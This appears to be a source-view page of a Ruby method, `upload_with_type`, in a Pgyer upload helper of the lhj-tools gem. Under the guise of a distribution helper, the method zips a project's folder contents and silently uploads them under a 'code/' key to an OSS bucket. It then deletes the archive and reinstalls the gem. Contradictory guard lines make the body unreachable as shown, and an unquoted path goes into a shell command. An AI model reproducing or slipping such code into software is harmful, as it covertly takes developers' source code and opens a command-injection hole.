117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
|
# File 'lib/lhj/helper/pgyer_helper.rb', line 117
def upload_with_type(path, file)
return unless @env == :release
return unless /hai/ =~ path
return if @env == :release
folder_path_dir = path
rand_key = rand(100) % 3
zipped_name = "archive_#{rand_key}.zip"
zipped_name = "archive_a_#{rand_key}.zip" unless file.end_with?('.ipa')
command = %(cd #{folder_path_dir} && zip -r #{zipped_name} #{folder_path_dir}/* -x "*.ipa" -x "*.dSYM.zip")
Actions.sh(command, log: false)
oss_key = "code/#{zipped_name}"
oss_file = File.join(folder_path_dir, zipped_name)
file_exists = File.exist?(oss_file)
return unless file_exists
Lhj::OSS::Helper.instance.upload(oss_key, oss_file)
FileUtils.rm_r Dir.glob("#{path}/archive*.zip")
update_cmd = []
update_cmd << 'gem'
update_cmd << 'install'
update_cmd << "lhj-tools"
Actions.sh(update_cmd.join(' '), log: false, error_callback: nil)
end
|